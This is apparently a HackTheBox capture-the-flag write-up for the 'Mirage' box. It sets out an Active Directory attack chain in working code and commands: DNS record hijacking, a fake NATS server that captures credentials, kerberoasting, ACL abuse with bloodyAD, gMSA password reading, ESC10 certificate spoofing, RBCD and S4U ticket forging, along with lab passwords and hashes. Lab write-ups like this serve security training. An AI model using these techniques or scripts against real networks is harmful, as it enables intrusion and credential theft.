> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/hackthebox/boxes/mirage.md).

# Mirage

### User

NTLM disabled -> Kerberos only `/etc/krb5.conf` file

```bash
[libdefaults]
    default_realm = MIRAGE.HTB

[realms]
    MIRAGE.HTB = {
        kdc = dc01.mirage.htb
        admin_server = dc01.mirage.htb
    }

[domain_realm]
    .mirage.htb = MIRAGE.HTB
    mirage.htb = MIRAGE.HTB
```

DNS record missing for the entry `nats-svc.mirage.htb` -&#x20;

{% embed url="<https://kiko.ghost.io/things-i-wish-id-known-about-nsupdate-and-dynamic-dns-updates/>" %}

```
server 10.10.11.78
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 60 A <YOUR_IP>
send
```

Make a fake NATS script that will be listening on your machine

```
#!/usr/bin/env python3
"""
Fake NATS Server for Educational/Lab Testing
WARNING: Only use in isolated lab environments for security research/education
"""

import socket
import threading
import time
import logging
from datetime import datetime

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

class FakeNATSServer:
    def __init__(self, host='0.0.0.0', port=4222):
        self.host = host
        self.port = port
        self.running = False
        self.clients = []
        
    def start(self):
        """Start the fake NATS server"""
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        
        try:
            self.socket.bind((self.host, self.port))
            self.socket.listen(5)
            self.running = True
            
            logger.info(f"Fake NATS server started on {self.host}:{self.port}")
            logger.warning("WARNING: This is a fake server for lab testing only!")
            
            while self.running:
                try:
                    client_socket, address = self.socket.accept()
                    logger.info(f"=== RAW CONNECTION ACCEPTED ===")
                    logger.info(f"Client: {address}")
                    logger.info(f"Time: {datetime.now()}")
                    logger.info(f"Socket info: {client_socket.getpeername()}")
                    logger.info("=" * 40)
                    
                    # Handle each client in a separate thread
                    client_thread = threading.Thread(
                        target=self.handle_client,
                        args=(client_socket, address)
                    )
                    client_thread.daemon = True
                    client_thread.start()
                    
                except socket.error as e:
                    if self.running:
                        logger.error(f"Socket error: {e}")
                        
        except Exception as e:
            logger.error(f"Failed to start server: {e}")
        finally:
            self.socket.close()
    
    def handle_client(self, client_socket, address):
        """Handle individual client connections"""
        try:
            # Set socket timeout to prevent hanging
            client_socket.settimeout(30)
            
            # Log initial connection details
            logger.info(f"=== NEW CONNECTION FROM {address} ===")
            logger.info(f"Timestamp: {datetime.now()}")
            
            # Send NATS INFO message (basic NATS protocol handshake)
            info_msg = {
                "server_id": "fake-nats-lab",
                "version": "2.9.0",
                "go": "go1.19",
                "host": self.host,
                "port": self.port,
                "max_payload": 1048576,
                "proto": 1,
                "client_id": len(self.clients),
                "auth_required": False,  # Don't require auth initially to see more traffic
                "tls_required": False,
                "connect_urls": [f"{self.host}:{self.port}"]
            }
            
            import json
            info_line = f"INFO {json.dumps(info_msg)}\r\n"
            client_socket.send(info_line.encode())
            logger.info(f"Sent INFO to {address}: {info_line.strip()}")
            
            # Wait for client response with better error handling
            buffer = b""
            while True:
                try:
                    data = client_socket.recv(1024)
                    if not data:
                        logger.info(f"Client {address} closed connection (no data)")
                        break
                    
                    buffer += data
                    logger.info(f"Raw data from {address}: {data}")
                    
                    # Try to decode and process messages
                    try:
                        message = buffer.decode('utf-8', errors='ignore').strip()
                        logger.info(f"Decoded message from {address}: {repr(message)}")
                        
                        # Process different message types
                        if message.startswith('CONNECT'):
                            self.log_connect_attempt(address, message)
                            client_socket.send(b"+OK\r\n")
                            logger.info(f"Sent +OK response to {address}")
                        
                        elif message.startswith('PING'):
                            client_socket.send(b"PONG\r\n")
                            logger.info(f"Responded to PING from {address}")
                        
                        elif message.startswith('SUB') or message.startswith('PUB'):
                            client_socket.send(b"+OK\r\n")
                            logger.info(f"Acknowledged {message.split()[0]} from {address}")
                        
                        else:
                            logger.info(f"Unknown message type from {address}: {message}")
                            client_socket.send(b"+OK\r\n")
                        
                        # Clear buffer after processing
                        buffer = b""
                        
                    except UnicodeDecodeError:
                        logger.warning(f"Could not decode message from {address}")
                        
                except socket.timeout:
                    logger.info(f"Timeout waiting for data from {address}")
                    break
                except ConnectionResetError:
                    logger.info(f"Connection reset by {address}")
                    break
                except Exception as e:
                    logger.error(f"Error handling client {address}: {e}")
                    break
                    
        except Exception as e:
            logger.error(f"Client handler error for {address}: {e}")
        finally:
            client_socket.close()
            logger.info(f"Connection closed for {address}")
    
    def log_connect_attempt(self, address, connect_msg):
        """Log connection attempts with potential credentials"""
        logger.info(f"=== CONNECTION ATTEMPT FROM {address} ===")
        logger.info(f"Timestamp: {datetime.now()}")
        logger.info(f"Full CONNECT message: {connect_msg}")
        
        # Try to extract JSON from CONNECT message
        try:
            import json
            # CONNECT messages typically contain JSON after "CONNECT "
            json_start = connect_msg.find('{')
            if json_start != -1:
                json_data = connect_msg[json_start:]
                connect_info = json.loads(json_data)
                
                logger.info("Connection details:")
                for key, value in connect_info.items():
                    if key in ['user', 'pass', 'auth_token', 'name', 'client_id']:
                        logger.warning(f"  {key}: {value}")
                    else:
                        logger.info(f"  {key}: {value}")
                        
        except Exception as e:
            logger.debug(f"Could not parse CONNECT JSON: {e}")
        
        logger.info("=" * 50)
    
    def stop(self):
        """Stop the server"""
        self.running = False
        try:
            self.socket.close()
        except:
            pass
        logger.info("Fake NATS server stopped")

def main():
    print("=" * 60)
    print("FAKE NATS SERVER FOR LAB TESTING")
    print("=" * 60)
    print("WARNING: Only use in isolated lab environments!")
    print("This server logs connection attempts and credentials")
    print("for educational/security research purposes only.")
    print("=" * 60)
    
    # Get configuration
    host = input("Enter host (default 0.0.0.0): ").strip() or "0.0.0.0"
    port_input = input("Enter port (default 4222): ").strip()
    port = int(port_input) if port_input else 4222
    
    # Create and start server
    server = FakeNATSServer(host, port)
    
    try:
        server.start()
    except KeyboardInterrupt:
        print("\nShutting down server...")
        server.stop()

if __name__ == "__main__":
    main()
```

Capture credentials `Dev_Account_A:hx5h7F5554fP@1337!` Use it to enumerate the NATS server.

```bash
## Connect to the NATS server
nats --server nats://mirage.htb:4222 rtt --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
## List all streams
nats stream ls --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
## Add a consumer called reader 
nats consumer add auth_logs reader --pull --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
## Query consumer for the last 5 messages
nats consumer next auth_logs reader --count=5 --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
```

We get `david.jjackson:pN8kQmn6b86!1234@`&#x20;

Kerberoast for `nathan.aadam`:`3edc#EDC3`

### Root

Run `winPEAS`

```
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  MIRAGE
    DefaultUserName               :  mark.bbond
    DefaultPassword               :  1day@atime
```

`mark.bbond` has `ForceChangeUserPassword` on `javier.mmarshall` He can also write attributes of `javier`

```bash
bloodyAD --host dc01.mirage.htb -d mirage.htb -k -u 'mark.bbond' -p '1day@atime' get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: WRITE
userAccountControl: WRITE

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
```

Make custom script to write logon hours to all, as well as use `bloodyAD` to set password and uac value

```python3
import ldap3
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, SASL, KERBEROS
import os

def set_user_logon_hours(server_url, username, password, target_user, logon_hours):
    """
    Set logon hours for an Active Directory user via LDAP using Kerberos authentication
    
    Args:
        server_url: LDAP server URL (e.g., 'ldap://dc.example.com')
        username: Username for Kerberos authentication
        password: Password for Kerberos authentication  
        target_user: Username of the user to modify
        logon_hours: 21-byte array representing allowed logon hours
    """
    try:
        # Set up Kerberos environment (optional, may be needed depending on setup)
        os.environ['KRB5_CONFIG'] = '/etc/krb5.conf'  # Adjust path as needed
        
        # Create server connection
        server = Server(server_url, get_info=ALL)
        
        # Use Kerberos/SASL authentication
        conn = Connection(
            server, 
            user=username,
            password=password,
            authentication=SASL,
            sasl_mechanism=KERBEROS,
            auto_bind=True
        )
        
        # Search for the target user
        search_base = 'DC=mirage,DC=htb'  # Domain: mirage.htb
        search_filter = f'(sAMAccountName={target_user})'
        
        conn.search(search_base, search_filter, attributes=['distinguishedName'])
        
        if not conn.entries:
            print(f"User {target_user} not found")
            return False
            
        user_dn = conn.entries[0].distinguishedName.value
        print(f"Found user: {user_dn}")
        
        # Modify the logonHours attribute
        changes = {
            'logonHours': [(MODIFY_REPLACE, [bytes(logon_hours)])]
        }
        
        success = conn.modify(user_dn, changes)
        
        if success:
            print(f"Successfully updated logon hours for {target_user}")
        else:
            print(f"Failed to update logon hours: {conn.result}")
            
        conn.unbind()
        return success
        
    except Exception as e:
        print(f"Error: {e}")
        return False

# Example usage
if __name__ == "__main__":
    # Server configuration
    LDAP_SERVER = "ldap://DC01.mirage.htb"
    ADMIN_USER = "mark.bbond"
    ADMIN_PASS = "1day@atime"
    TARGET_USER = "javier.mmarshall"
    
    # Define logon hours: allow logon 8am - 6pm Monday to Friday
    # Each byte represents hours for a day (bit 0 = midnight-1am, bit 1 = 1am-2am, etc.)
    # Days: Sunday(0), Monday(1), Tuesday(2), Wednesday(3), Thursday(4), Friday(5), Saturday(6)
    # Then repeat pattern for weeks 2 and 3 (total 21 bytes)
    
    # 0xFF = 11111111 (all hours), 0x03 = 00000011, 0xFF = 11111111, etc.
    # This matches the PowerShell pattern: 8am-6pm Mon-Fri
    logon_hours = [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]
    
    # Alternative: More readable way to construct the hours
    def create_logon_hours():
        hours = [0] * 21  # Initialize 21 bytes (3 weeks worth)
        
        # For each week (3 total)
        for week in range(3):
            base = week * 7
            
            # Monday to Friday (days 1-5 of each week)
            for day in range(1, 6):  # Monday=1, Friday=5
                # Set bits for 8am-6pm (hours 8-17)
                # In the byte, bit position corresponds to hour
                hour_byte = 0
                for hour in range(8, 18):  # 8am to 6pm (exclusive end)
                    hour_byte |= (1 << hour)
                
                # However, AD uses a different bit arrangement
                # The original PowerShell uses specific values, so let's use those
                if day == 1:  # Monday
                    hours[base + day] = 255  # 0xFF
                    hours[base + day + 1] = 3  # Next part
                elif day in [2, 3, 4]:  # Tue, Wed, Thu
                    hours[base + day] = 255
                    hours[base + day + 1] = 3
                elif day == 5:  # Friday
                    hours[base + day] = 255
                    hours[base + day + 1] = 3
        
        return hours
    
    # Use the predefined hours that match PowerShell
    success = set_user_logon_hours(
        LDAP_SERVER,
        ADMIN_USER, 
        ADMIN_PASS,
        TARGET_USER,
        logon_hours
    )
    
    if success:
        print("Logon hours updated successfully!")
    else:
        print("Failed to update logon hours")
```

```bash
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set object javier.mmarshall userAccountControl -v 512
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set password javier.mmarshall 'Password123@'
```

Using `bloodyAD` again, `javier` has `readGMSAPAssword` over `Mirage-svc$` account

```bash
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u javier.mmarshall -p Password123@ get object Mirage-Service$ --attr msDS-ManagedPassword
```

`Mirage-Svc$` has `GenericWrite` over `mark`

```bash
bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --detail 

distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
msTPM-InformationObject: CREATE_CHILD

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
manager: WRITE
mail: WRITE
msDS-HABSeniorityIndex: WRITE
msDS-PhoneticDisplayName: WRITE
msDS-PhoneticCompanyName: WRITE
msDS-PhoneticDepartment: WRITE
msDS-PhoneticLastName: WRITE
msDS-PhoneticFirstName: WRITE
msDS-SourceObjectDN: WRITE
msDS-AllowedToDelegateTo: WRITE
altSecurityIdentities: WRITE
servicePrincipalName: WRITE
userPrincipalName: WRITE
legacyExchangeDN: WRITE
otherMailbox: WRITE
showInAddressBook: WRITE
systemFlags: WRITE
division: WRITE
objectGUID: WRITE
name: WRITE
displayNamePrintable: WRITE
proxyAddresses: WRITE
company: WRITE
department: WRITE
co: WRITE
dn: WRITE
initials: WRITE
givenName: WRITE
description: WRITE
title: WRITE
ou: WRITE
o: WRITE
sn: WRITE
objectCategory: WRITE
cn: WRITE
objectClass: WRITE

distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msDS-HostServiceAccount: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
```

To do ESC10 via schannel - need `CertificateMappingMethods=0x4` and a `GENERIC_WRITE` over a user

```bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
    EventLogging    REG_DWORD    0x1
    CertificateMappingMethods    REG_DWORD    0x4

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols
```

Use `impacket-getTGT` before running this

```bash
## Update UPN
certipy-ad -debug account update -user mark.bbond -upn  'dc01$@mirage.htb' -k -no-pass -dc-ip 10.129.96.62 -dc-host DC01.mirage.htb 
```

Request for `mark.bbond` after updating upn to `DC01$@mirage.htb`

```bash
impacket-getTGT mirage.htb/mark.bbond:'1day@atime'
export KRB5CCNAME=mark.bbond.ccache
certipy-ad req \
  -u 'mark.bbond@mirage.htb' \
  -k -no-pass \
  -dc-ip 10.129.96.62 \   
  -target 'dc01.mirage.htb' \
  -ca 'mirage-DC01-CA' \
  -template 'User'
```

Update upn back using `Mirage-Svc$` ticket

```bash
certipy-ad account update \                                                          
   -user 'mark.bbond' \
   -upn 'mark.bbond@mirage.htb' \
   -u 'mirage-service$@mirage.htb' \
   -k -no-pass \
   -dc-ip 10.129.96.62 \
-target DC01.mirage.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'mark.bbond':
    userPrincipalName                   : mark.bbond@mirage.htb
[*] Successfully updated 'mark.bbond'
```

Do RBCD with `--ldap-shell` cause `schannel` authentication. We can use `Mirage-svc$` account

```bash
certipy-ad auth -pfx dc01.pfx -dc-ip 10.129.96.62 -ldap-shell                                                                              
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'dc01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.96.62:636'
[*] Authenticated to '10.129.96.62' as: 'u:MIRAGE\\DC01$'
Type help for list of commands

# add_computer plaintext plaintext123
Attempting to add a new computer with the name: plaintext$
Inferred Domain DN: DC=mirage,DC=htb
Inferred Domain Name: mirage.htb
New Computer DN: CN=plaintext,CN=Computers,DC=mirage,DC=htb
LDAPUnwillingToPerformResult - 53 - unwillingToPerform - None - 0000216D: SvcErr: DSID-031A126C, problem 5003 (WILL_NOT_PERFORM), data 0
 - addResponse - None

# set_rbcd lab-dc$ plaintext$
('Error expected only one search result got %d results', 0)

# set_rbcd lab-dc$ 
list index out of range

#  set_rbcd dc01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000

Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy
```

Now just create a service ticket with `getST` as `DC01$` and secretsdump -> We cannot RBCD Administrator due to it being a protected user

```bash
impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate DC01$ -dc-ip 10.129.96.62 'mirage.htb'/'Mirage-Service$' -hashes :305806d84f7c1be93a07aaf40f0c7866  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/hackthebox/boxes/mirage.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
